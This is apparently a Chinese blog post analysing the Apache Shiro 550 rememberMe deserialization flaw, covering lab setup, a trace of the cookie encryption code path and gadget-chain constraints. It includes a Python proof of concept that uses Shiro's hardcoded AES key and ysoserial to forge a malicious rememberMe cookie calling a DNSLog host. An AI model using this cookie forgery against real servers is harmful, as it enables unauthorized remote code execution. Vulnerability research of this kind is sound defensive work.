• Java安全之Shiro 550反序列化漏洞分析


    Java安全之Shiro 550反序列化漏洞分析

    首发自安全客:Java安全之Shiro 550反序列化漏洞分析

    0x00 前言

    在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是Shiro的该漏洞也是用的比较频繁的漏洞。本文对该Shiro550 反序列化漏洞进行一个分析,了解漏洞产生过程以及利用方式。

    0x01 漏洞原理

    Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,产生原因是因为shiro接受了Cookie里面rememberMe的值,然后去进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。

    反过来思考一下,如果我们构造该值为一个cc链序列化后的值进行该密钥aes加密后进行base64加密,那么这时候就会去进行反序列化我们的payload内容,这时候就可以达到一个命令执行的效果。

    获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作
    

    0x02 漏洞环境搭建

    漏洞环境:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

    打开shiro/web目录,对pom.xml进行配置依赖配置一个cc4和jstl组件进来,后面再去说为什么shiro自带了commons-collections:3.2.1还要去手工配置一个commons-collections:4.0

        <properties>
    
        <maven.compiler.source>1.6</maven.compiler.source>
    
        <maven.compiler.target>1.6</maven.compiler.target>
    
        </properties>
    
    ...
    <dependency>
                <groupId>javax.servlet</groupId>
                <artifactId>jstl</artifactId>
                <!--  这里需要将jstl设置为1.2 -->
                <version>1.2</version>
                <scope>runtime</scope>
            </dependency>
            <dependency>
                <groupId>org.apache.commons</groupId>
                <artifactId>commons-collections4</artifactId>
                <version>4.0</version>
            </dependency>
    

    坑点

    Shiro的编译太痛苦了,各种坑,下面来排一下坑。

    配置mavenconf oolchains.xml,这里需要指定JDK1.6的路径和版本,编译必须要1.6版本,但不影响在其他版本下运行。

    <?xml version="1.0" encoding="UTF-8"?>
    <toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
      <toolchain>
        <type>jdk</type>
        <provides>
          <version>1.6</version>
          <vendor>sun</vendor>
        </provides>
        <configuration>
          <jdkHome>D:JAVA_JDKjdk1.6</jdkHome>
        </configuration>
      </toolchain>
    </toolchains>
    

    这些都完成后进行编译。

    Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure
    

    这里还是报错了。

    后面编译的时候,切换成了maven3.1.1的版本。然后就可以编译成功了。

    但是后面又发现部署的时候访问不到,编译肯定又出了问题。

    后面把这两个里面的<scope>标签给注释掉,然后就可以了。

    把pom.xml配置贴一下。

    <?xml version="1.0" encoding="UTF-8"?>
    <!--
      ~ Licensed to the Apache Software Foundation (ASF) under one
      ~ or more contributor license agreements.  See the NOTICE file
      ~ distributed with this work for additional information
      ~ regarding copyright ownership.  The ASF licenses this file
      ~ to you under the Apache License, Version 2.0 (the
      ~ "License"); you may not use this file except in compliance
      ~ with the License.  You may obtain a copy of the License at
      ~
      ~     http://www.apache.org/licenses/LICENSE-2.0
      ~
      ~ Unless required by applicable law or agreed to in writing,
      ~ software distributed under the License is distributed on an
      ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
      ~ KIND, either express or implied.  See the License for the
      ~ specific language governing permissions and limitations
      ~ under the License.
      -->
    <!--suppress osmorcNonOsgiMavenDependency -->
    <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
        <properties>
    
            <maven.compiler.source>1.6</maven.compiler.source>
    
            <maven.compiler.target>1.6</maven.compiler.target>
    
        </properties>
        <parent>
            <groupId>org.apache.shiro.samples</groupId>
            <artifactId>shiro-samples</artifactId>
            <version>1.2.4</version>
            <relativePath>../pom.xml</relativePath>
        </parent>
    
        <modelVersion>4.0.0</modelVersion>
        <artifactId>samples-web</artifactId>
        <name>Apache Shiro :: Samples :: Web</name>
        <packaging>war</packaging>
    
        <build>
            <plugins>
                <plugin>
                    <artifactId>maven-surefire-plugin</artifactId>
                    <configuration>
                        <forkMode>never</forkMode>
                    </configuration>
                </plugin>
                <plugin>
                    <groupId>org.mortbay.jetty</groupId>
                    <artifactId>maven-jetty-plugin</artifactId>
                    <version>${jetty.version}</version>
                    <configuration>
                        <contextPath>/</contextPath>
                        <connectors>
                            <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                                <port>9080</port>
                                <maxIdleTime>60000</maxIdleTime>
                            </connector>
                        </connectors>
                        <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
                            <filename>./target/yyyy_mm_dd.request.log</filename>
                            <retainDays>90</retainDays>
                            <append>true</append>
                            <extended>false</extended>
                            <logTimeZone>GMT</logTimeZone>
                        </requestLog>
                    </configuration>
                </plugin>
            </plugins>
        </build>
    
        <dependencies>
            <dependency>
                <groupId>javax.servlet</groupId>
                <artifactId>jstl</artifactId>
                <scope>runtime</scope>
            </dependency>
            <dependency>
                <groupId>javax.servlet</groupId>
                <artifactId>servlet-api</artifactId>
    <!--            <scope>provided</scope>-->
            </dependency>
            <dependency>
                <groupId>org.slf4j</groupId>
                <artifactId>slf4j-log4j12</artifactId>
                <scope>runtime</scope>
            </dependency>
            <dependency>
                <groupId>log4j</groupId>
                <artifactId>log4j</artifactId>
                <scope>runtime</scope>
            </dependency>
            <dependency>
                <groupId>net.sourceforge.htmlunit</groupId>
                <artifactId>htmlunit</artifactId>
                <version>2.6</version>
    <!--            <scope>test</scope>-->
            </dependency>
            <dependency>
                <groupId>org.apache.shiro</groupId>
                <artifactId>shiro-core</artifactId>
            </dependency>
            <dependency>
                <groupId>org.apache.shiro</groupId>
                <artifactId>shiro-web</artifactId>
            </dependency>
            <dependency>
                <groupId>org.mortbay.jetty</groupId>
                <artifactId>jetty</artifactId>
                <version>${jetty.version}</version>
                <scope>test</scope>
            </dependency>
            <dependency>
                <groupId>org.mortbay.jetty</groupId>
                <artifactId>jsp-2.1-jetty</artifactId>
                <version>${jetty.version}</version>
                <scope>test</scope>
            </dependency>
            <dependency>
                <groupId>org.slf4j</groupId>
                <artifactId>jcl-over-slf4j</artifactId>
                <scope>runtime</scope>
            </dependency>
            <dependency>
                <groupId>javax.servlet</groupId>
                <artifactId>jstl</artifactId>
                <!--  这里需要将jstl设置为1.2 -->
                <version>1.2</version>
                <scope>runtime</scope>
            </dependency>
            <dependency>
                <groupId>org.apache.commons</groupId>
                <artifactId>commons-collections4</artifactId>
                <version>4.0</version>
            </dependency>
        </dependencies>
    
    
    </project>
    

    经过2天的排坑,终于把这个坑给解决掉,这里必须贴几张照片庆祝庆祝。

    输入账号密码,勾选Remerber me选项。进行抓包

    下面就可以来分析该漏洞了。

    0x03 漏洞分析

    加密

    漏洞产生点在CookieRememberMeManager该位置,来看到rememberSerializedIdentity方法。

    该方法的作用为使用Base64对指定的序列化字节数组进行编码,并将Base64编码的字符串设置为cookie值。

    那么我们就去查看一下该方法在什么地方被调用。

    在这可以看到该类继承的AbstractRememberMeManager类调用了该方法。跟进进去查看

    发现这个方法被rememberIdentity方法给调用了,同样方式继续跟进。

    在这里会发现rememberIdentity方法会被onSuccessfulLogin方法给调用,跟踪到这一步,就看到了onSuccessfulLogin登录成功的方法。

    当登录成功后会调用AbstractRememberMeManager.onSuccessfulLogin方法,该方法主要实现了生成加密的RememberMe Cookie,然后将RememberMe Cookie设置为用户的Cookie值。在前面我们分析的rememberSerializedIdentity方法里面去实现了。可以来看一下这段代码。

    回到onSuccessfulLogin这个地方,打个断点,然后web登录页面输入root/secret 口令进行提交,再回到IDEA中查看。找到登录成功方法后,我们可以来正向去做个分析,不然刚刚的方式比较麻烦。

    这里看到调用了isRememberMe很显而易见得发现这个就是一个判断用户是否选择了Remember Me选项。

    如果选择Remember Me功能的话返回true,如果不选择该选项则是调用log.debug方法在控制台输出一段字符。

    这里如果为true的话就会调用rememberIdentity方法并且传入三个参数。F7跟进该方法。

    前面说过该方法会去生成一个PrincipalCollection对象,里面包含登录信息。F7进行跟进rememberIdentity方法。

    查看convertPrincipalsToBytes具体的实现与作用。

    跟进该方法查看具体实现。

    看到这里其实已经很清晰了,进行了一个序列化,然后返回序列化后的Byte数组。

    再来看到下一段代码,这里如果getCipherService方法不为空的话,就会去执行下一段代码。getCipherService方法是获取加密模式。

    还是继续跟进查看。

    查看调用,会发现在构造方法里面对该值进行定义。

    完成这一步后,就来到了这里。

    调用encrypt方法,对序列化后的数据进行处理。继续跟进。

    这里调用cipherService.encrypt方法并且传入序列化数据,和getEncryptionCipherKey方法。

    getEncryptionCipherKey从名字上来看是获取密钥的方法,查看一下,是怎么获取密钥的。

    查看调用的时候,发现setCipherKey方法在构造方法里面被调用了。

    查看DEFAULT_CIPHER_KEY_BYTES值会发现里面定义了一串密钥

    而这个密钥是定义死的。

    返回刚刚的加密的地方。

    这个地方选择跟进,查看具体实现。

    查看到这里发现会传入前面序列化的数组和key值,最后再去调用他的重载方法并且传入序列化数组、key、ivBytes值、generate。

    iv的值由generateInitializationVector方法生成,进行跟进。

    查看getDefaultSecureRandom方法实现。

    返回generateInitializationVector方法继续查看。这个new了一个byte数组长度为16

    最后得到这个ivBytes值进行返回。

    这里执行完成后就拿到了ivBytes的值了,这里再回到加密方法的地方查看具体加密的实现。

    这里调用crypt方法进行获取到加密后的数据,而这个output是一个byte数组,大小是加密后数据的长度加上iv这个值的长度。

    iv 的小tips

    • 某些加密算法要求明文需要按一定长度对齐,叫做块大小(BlockSize),我们这次就是16字节,那么对于一段任意的数据,加密前需要对最后一个块填充到16 字节,解密后需要删除掉填充的数据。
    • AES中有三种填充模式(PKCS7Padding/PKCS5Padding/ZeroPadding)
    • PKCS7Padding跟PKCS5Padding的区别就在于数据填充方式,PKCS7Padding是缺几个字节就补几个字节的0,而PKCS5Padding是缺几个字节就补充几个字节的几,好比缺6个字节,就补充6个字节

    不了解加密算法的可以看Java安全之安全加密算法

    在执行完成后序列化的数据已经被进行了AES加密,返回一个byte数组。

    执行完成后,来到这一步,然后进行跟进。

    到了这里其实就没啥好说的了。后面的步骤就是进行base64加密后设置为用户的Cookie的rememberMe字段中。

    解密

    由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt进行加密,该类中也有对应的解密操作。那么在这里就可以来查看该方法具体会在哪里被调用到,就可以追溯到上层去,然后进行下断点。

    查看 getRememberedPrincipals方法在此处下断点

    跟踪

    返回getRememberedPrincipals方法。

    在下面调用了convertBytesToPrincipals方法,进行跟踪。

    查看decrypt方法具体实现。

    和前面的加密步骤类似,这里不做详细讲解。

    生成iv值,然后传入到他的重载方法里面。

    到了这里执行完后,就进行了AES的解密完成。

    还是回到这一步。

    这里返回了deserialize方法的返回值,并且传入AES加密后的数据。

    进行跟踪该方法。

    继续跟踪。

    到了这步,就会对我们传入进来的AES解密后的数据进行调用readObject方法进行反序列化操作。

    0x04 漏洞攻击

    漏洞探测

    现在已经知道了是因为获取rememberMe值,然后进行解密后再进行反序列化操作。

    那么在这里如果拿到了密钥就可以伪造加密流程。

    网上找的一个加密的脚本

    # -*-* coding:utf-8
    # @Time    :  2020/10/16 17:36
    # @Author  : nice0e3
    # @FileName: poc.py
    # @Software: PyCharm
    # @Blog    :https://www.cnblogs.com/nice0e3/
    import base64
    import uuid
    import subprocess
    from Crypto.Cipher import AES
    
    
    def rememberme(command):
        # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
        popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
                                 stdout=subprocess.PIPE)
        # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = "kPH+bIxk5D2deZiIxcaaaA=="
        mode = AES.MODE_CBC
        iv = uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    
    if __name__ == '__main__':
        # payload = encode_rememberme('127.0.0.1:12345')
        # payload = rememberme('calc.exe')
        payload = rememberme('http://u89cy6.dnslog.cn')
        with open("./payload.cookie", "w") as fpw:
    
            print("rememberMe={}".format(payload.decode()))
            res = "rememberMe={}".format(payload.decode())
            fpw.write(res)
    
    

    获取到值后加密后的payload后可以在burp上面进行手工发送测试一下。

    发送完成后,就可以看到DNSLOG平台上面回显了。

    当使用URLDNS链的打过去,在DNSLOG平台有回显的时候,就说明这个地方存在反序列化漏洞。

    但是要利用的话还得是使用CC链等利用链去进行命令的执行。

    漏洞利用

    前面我们手动给shio配上cc4的组件,而shiro中自带的是cc3.2.1版本的组件,为什么要手工去配置呢?

    其实shiro中重写了ObjectInputStream类的resolveClass函数,ObjectInputStreamresolveClass方法用的是Class.forName类获取当前描述器所指代的类的Class对象。而重写后的resolveClass方法,采用的是ClassUtils.forName。查看该方法

    public static Class forName(String fqcn) throws UnknownClassException {
        Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
        if (clazz == null) {
            if (log.isTraceEnabled()) {
                log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader.  Trying the current ClassLoader...");
            }
    
            clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
        }
    
        if (clazz == null) {
            if (log.isTraceEnabled()) {
                log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " + "Trying the system/application ClassLoader...");
            }
    
            clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
        }
    
        if (clazz == null) {
            String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";
            throw new UnknownClassException(msg);
        } else {
            return clazz;
        }
    }
    

    在传参的地方如果传入一个Transform数组的参数,会报错。

    后者并不支持传入数组类型。

    resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class

    那么在这里可以使用cc2和cc4的利用链去进行命令执行,因为这两个都是基于javassist去实现的,而不是基于Transform数组。具体的可以看前面我的分析利用链文章。

    除了这两个其实在部署的时候,可以发现组件当中自带了一个CommonsBeanutils的组件,这个组件也是有利用链的。可以使用CommonsBeanutils这条利用链进行命令执行。

    那么除了这些方式就没有了嘛?假设没有cc4的组件,就一定执行不了命令了嘛?其实方式还是有的。wh1t3p1g师傅在文章中已经给出了解决方案。需要重新去特殊构造一下利用链。

    参考文章

    https://www.anquanke.com/post/id/192619#h2-4
    
    https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils
    
    https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A
    

    0x05 结尾

    在该漏洞中我觉得主要的难点在于环境搭建上费了不少时间,还有的就是关于shiro中大部分利用链没法使用的解决。

  • 相关阅读:
    Mybatis(三)
    Mybatis(二)
    Mybatis
    AJAX的跨域
    AJAX
    EL表达式与标准标签库JSTL
    java无脚本jsp页面-简介
    javaWeb的开发模式
    ADO.Net之SqlConnection、sqlcommand的应用
    翻译1-在SQL Server 2016中介绍微软R服务
  • 原文地址:https://www.cnblogs.com/nice0e3/p/14183173.html
Copyright © 2020-2023  润新知